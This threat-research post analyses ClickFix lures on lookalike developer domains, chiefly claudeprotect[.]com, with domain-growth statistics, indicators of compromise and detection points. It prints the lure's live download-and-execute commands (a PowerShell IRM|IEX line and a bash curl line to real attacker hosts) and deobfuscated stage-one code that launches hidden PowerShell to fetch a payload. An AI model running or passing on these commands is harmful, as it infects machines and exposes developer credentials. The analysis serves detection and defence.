online lostsh.github.io clickfix-dns-hunt | 2026-11-16 rfc 3514: evil bit not set
post 12 2026-11-16 clickfix | supply-chain | dns x5.3

Tech workers, the new step in supply chain attacks

ClickFix | supply chain | DNS | PowerShell 7 min read

Lookalike domains built on developer brands are multiplying, and some of them serve ClickFix lures that put malware on a developer's workstation.

A scan of 10.6 million newly registered domains found 5,380 names that imitate developer tools, security products and package infrastructure. One of them, claudeprotect[.]com, was live and serving a paste-and-run command. The command ends with shellcode injected into a Microsoft-signed process.

Certificate records date the growth. Domains starting with "claude" received 5.3 times more first certificates in January to September 2026 than in the same months of 2025. The jump happened in January 2026.

Why developers

ClickFix is a page that tells the visitor to copy a command and run it. There is no exploit and no download. The visitor runs the malware with their own privileges.

Developers are a good target for it. They paste install commands every day, and curl ... | sh is a normal way to install a tool.

What sits on a developer workstation is the reason this is a supply chain problem:

An attacker who holds these can ship code to every user of what that developer builds. The package registry does not need to be breached. The person who publishes to it does.

The pattern is already documented. In September a fake Homebrew page ran 12 commands on a developer's new Mac in 541 milliseconds. Last week Island reported 186 fake AI domains covering 27 brands, including Claude, Cursor and Copilot.

What the scan found

Step Count
Lookalike names, 147 days5,380 (36 a day)
Probed, last 30 days1,089
Answered over HTTP879
Parked or for sale278
Already suspended by registrar or registry19
Served a shell or PowerShell command6
Confirmed ClickFix1

Some of the domains:

Of the six pages that served a command, three were ordinary open-source installers, one was a parody and one was a false match. The sixth was the lure.

The lure: claudeprotect[.]com

The domain was registered on 30 October 2026. It sits behind Cloudflare. The page sells "stable Claude sessions": proxy routing, device fingerprint spoofing and a "WhitePersona verification bypass" for people whose account was asked to prove its identity.

The genuine Claude Code product page on claude.com. Cream background, serif heading Claude Code, a black Download for Windows button, a Read documentation button, and a product screenshot on the right.
Figure 1: the genuine Claude Code page. The install path is a download button
The lure page at claudeprotect.com. Cream background, the label The Independent Claude Toolkit, the heading One command. Stable Claude sessions., an Installation box with Windows, macOS and Linux tabs, and a command field starting with IRM gitlab.com/dsy648ajd6ff followed by a Copy button. A fake PowerShell terminal on the right shows claudeprotect doctor reporting proxy route configured, device fingerprint consistent, session connected.
Figure 2: the lure. Same palette, and the install path is a command to copy

The page does not clone the Claude site. It borrows the name and the look, and it targets people who are searching for a way around a control. They arrive on purpose and expect to run something.

The Copy button gives one of two commands:

powershell | Windows
IRM gitlab.com/dsy648ajd6ff/01a1e287-8de7-700c-802a-969604d519c9/-/raw/main/01a1e287-8de7-700c-802a-9696051416d5 | IEX
bash | macOS
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<8 random hex>.sishi.store/?ublib=d69aa45a-c48e-45c8-b46c-9271d8280b8c')"

The Windows command downloads a script from a throwaway GitLab account. That script downloads a second one from hazeldrift[.]cc. The second decrypts a third, which starts MicrosoftEdgeUpdate.exe suspended, writes 318 KB of shellcode into it and resumes it. The three scripts write no executable to disk.

The GitLab project was created at 04:05 UTC on the day of the analysis. The lure domain was 17 days old. The operator keeps the domain and replaces what it points to.

The full chain is in the folded section at the end of this post.

A second pair: Burp Suite

The genuine Burp Suite page on portswigger.net. PortSwigger logo with an orange lightning mark, dark hero with the heading Find the right Burp for how you test, and cards for Community, Professional, Burp AT and Burp Suite DAST.
Figure 3: the genuine Burp Suite page at portswigger.net
The page at burpsuite.org. An orange lightning logo next to the name Burpsuite, the heading Burpsuite, Advanced Web Application Security Testing Platform, and an orange Download Burpsuite button.
Figure 4: burpsuite[.]org, registered 7 November 2026. Same name, same mark, different owner

This one targets pentesters. The Download button points to a third-party archive that promises a licensed Burp Suite Professional. The archive was not analysed. A security engineer who runs it does so on a machine full of client access.

Since when

Registration feeds do not go back far enough to answer this. Certificate transparency logs do. Every TLS certificate is logged with its date, so the first certificate of a domain is a good proxy for the month it went live.

Line chart of new registrable domains starting with claude per month, by the date of their first TLS certificate, for 2024, 2025 and 2026. 2024 stays between 57 and 97 a month. 2025 rises slowly from 68 in January to 163 in December. 2026 starts at 645 in January, peaks at 825 in April and falls to 313 in September. October 2026 is incomplete and not drawn.
Figure 5: new "claude" domains per month, three years overlaid

Other names, same months, 2025 against 2026:

Name starts with Jan to Sep 2025 Jan to Sep 2026 Change
claude1,0095,389x5.3
cursor6261,569x2.5
openai8031,108x1.4
chatgpt1,1631,184x1.0
homebrew156166x1.1
pypi2625x1.0
coffee (control)1,5051,761x1.2

The control word barely moved, so the rise is not a general increase in certificates. Two names grew: claude and cursor. Both are AI coding tools.

The two do not grow the same way. The claude names are spread over thousands of unrelated registrations, and no batch exceeds 20 names. The cursor figure includes 600 numbered .asia domains (cursorfg160260, cursorforge1430...) created in batches of about 100 on four days of March 2026. That is one operator. Without that batch, cursor is at x1.5.

The same wave hit chatgpt three years earlier: 112 new domains in 2022, then 6,092 in 2023. Lookalike registrations follow the tool that developers are adopting, and in 2026 that tool is a coding agent that runs commands on the workstation.

The registration feed agrees for the recent months. From July to November 2026 the scan found between 34 and 41 lookalikes a day, with no further rise. The step happened in early 2026 and the level has held since.

Limits

What to do

Indicators of compromise

Block the domains. The IP addresses are Cloudflare and shared with unrelated sites.

Type Value Note
Domain claudeprotect[.]com Lure, registered 2026-10-30, Spaceship
Domain *.sishi[.]store macOS stage 1, one random subdomain per visitor
Domain *.hazeldrift[.]cc Windows stage 2, /install.ps1, registered 2026-11-09
URL gitlab[.]com/dsy648ajd6ff/* Windows stage 1, GitLab user id 44456760
SHA-256 2092d12e81500f977eeb4c2c850a7fc76cfc17a61979d4708531c0a17c31d77a Stage 1, 586,286 bytes
SHA-256 8a01bfe906fe336b3572c5143d8725e0a96934a73bfa87b6abd009a1aada8954 Stage 2, 6,226,857 bytes
SHA-256 6dcb8d5911b901814b65af603001ffeca975c3881ed92f43d0f8376b980d3b24 Stage 3, decrypted injector
SHA-256 f8c1b12969edcd2c1678c3a9e5bec7b9cf535b2dd4cc0ea33d561b6496b96906 Stage 4, x86 shellcode, 325,470 bytes
String AMSI_RESULT_NOT_DETECTED XOR key between stage 2 and stage 3
Watchlist burpsuite[.]org, claudes[.]to, homebrewmac[.]com Brand abuse, not confirmed ClickFix
SHA-256 d9f9653655c53611aba07d46c3d9b34d0a4a337baffaaeca1f590720ad23c15a claudes.exe, not analysed
Side analysis: the four-stage PowerShell chain behind claudeprotect[.]com

Every stage was recovered by reading the previous one. Nothing was executed.

How the page builds the command

js | served in the page
window.SERVER_INSTALL_COMMANDS = {
  "windows": "IRM gitlab.com/dsy648ajd6ff/01a1e287-8de7-700c-802a-969604d519c9/-/raw/main/01a1e287-8de7-700c-802a-9696051416d5 | IEX",
  "macos":   "/bin/bash -c \"$(curl -A 'Mac OS X 10_15_7' -fsSL '${usr_id}.sishi.store/?ublib=d69aa45a-c48e-45c8-b46c-9271d8280b8c')\"; echo \"\"BotGuard: Answer the protector challenge. Ref: 73282"
};
window.LINUX_INSTALL_MESSAGE = "In development.";
  • ${usr_id} is replaced in the browser by 4 random bytes in hex. Each visitor gets a different macOS hostname.
  • The macOS curl sends the User-Agent Mac OS X 10_15_7. The value is fixed in the command, which suggests the host checks it.
  • The trailing echo "BotGuard: ..." prints a line that looks like a passed security check.
  • sishi[.]store refused the connection during the analysis. Only the Windows chain was recovered.

Age of each component

Dot plot on a logarithmic time axis showing the age of each component of the chain when it was found on 16 November 2026. The macOS payload host sishi.store was 360 days old. The lure page claudeprotect.com was 17 days old. The Windows stage 2 host hazeldrift.cc was 7 days old. The GitLab project serving the Windows stage 1 script was 12 hours old. A shaded band marks components younger than 30 days: the lure, the stage 2 host and the GitLab project.
Figure 6: age of each component at discovery, log scale
  • The GitLab account has one public project and three events: created at 04:05:22, pushed at 04:05:24 and 04:06:06 UTC. The upload was scripted.
  • The page served the same command at 16:20 and at 19:52 UTC.
  • The lure is 17 days old and its stage 1 is 12 hours old, so this is not the first stage 1 it has pointed to. The rotation interval is unknown.
  • sishi[.]store has certificates going back to November 2025 and was hosted on a cPanel server in early 2026. It is a reused domain. A rule based on domain age does not catch it.

Stage 1: GitLab, 586 KB

330 lines of PowerShell. Almost all of it is arithmetic that evaluates to constants and branches that never run. Three lines matter:

powershell | stage 1
$i9tgDH = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('aHR0cHM6Ly8=')) +
          (-join @(0..13 | % { @('t','43ef','haze','5-7f4','17e','ad','ce.','0-6','-b','71ce','fe','ldrif','e27','01a1')
                               [@(13,12,3,9,8,5,7,10,1,4,6,2,11,0)[$_]] })) +
          '.cc/install.ps1'

$rhgDzV.Arguments   = '-NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) ' + $i9tgDH + ' | & (gcm i*x)"'
$rhgDzV.WindowStyle = 'Hidden'
decoded url
https://01a1e275-7f471ce-bad0-6fe43ef17ece.hazeldrift.cc/install.ps1

A hidden powershell.exe downloads that URL and runs it. The cmdlets are called through wildcards (gcm ir*m, gcm i*x), so the strings Invoke-RestMethod and Invoke-Expression never appear.

Stage 2: hazeldrift[.]cc, 6.2 MB

59,275 lines. One line of 1.9 MB holds a byte array. The bytes are base64 text. Once decoded they give 427,849 bytes encrypted with a repeating XOR key. The key length shows up as repeats every 24 bytes. Solving each of the 24 positions gives the key:

xor key
AMSI_RESULT_NOT_DETECTED

This is the constant the Windows Antimalware Scan Interface returns for a clean scan. It is also a usable detection string.

Stage 3: the injector, 332 lines

  1. Decodes the payload from a 406,838-character string with a custom base85 alphabet.
  2. Walks the export table of kernel32.dll in memory and finds seven functions by the FNV-1a hash of their name.
  3. Builds the native calls with Reflection.Emit in a dynamic assembly named RuntimeHost. There is no Add-Type and no compiler process.
  4. Starts MicrosoftEdgeUpdate.exe suspended. If it is missing, it uses the 32-bit rundll32.exe.
  5. Allocates executable memory in that process, writes the payload, queues it on the main thread, waits 0.5 to 2 seconds and resumes. This is Early Bird APC injection.
FNV-1a Function Use
1249643017CreateProcessAstart the host suspended
2931164316VirtualAllocExallocate read-write-execute memory
3221786346WriteProcessMemorycopy the shellcode
2299245819QueueUserAPCschedule it on the main thread
3139559470ResumeThreadrun
4165922393TerminateProcesscleanup on failure
4206493797CloseHandlecleanup

Stage 4: the shellcode

325,470 bytes of 32-bit position-independent code. It starts with a call over 322,004 bytes of data, the layout produced by loader generators such as Donut. The final module is inside that data, encrypted. Extracting it requires emulating the stub and was not done. A machine that ran the Windows command should be treated as compromised.

Detection points

  • powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass started by another powershell.exe.
  • Script block log (event 4104) containing System.Reflection.Emit.AssemblyBuilder and GetDelegateForFunctionPointer together, or the string AMSI_RESULT_NOT_DETECTED.
  • powershell.exe creating MicrosoftEdgeUpdate.exe or a 32-bit rundll32.exe with no arguments, followed by a remote VirtualAllocEx with execute rights and QueueUserAPC.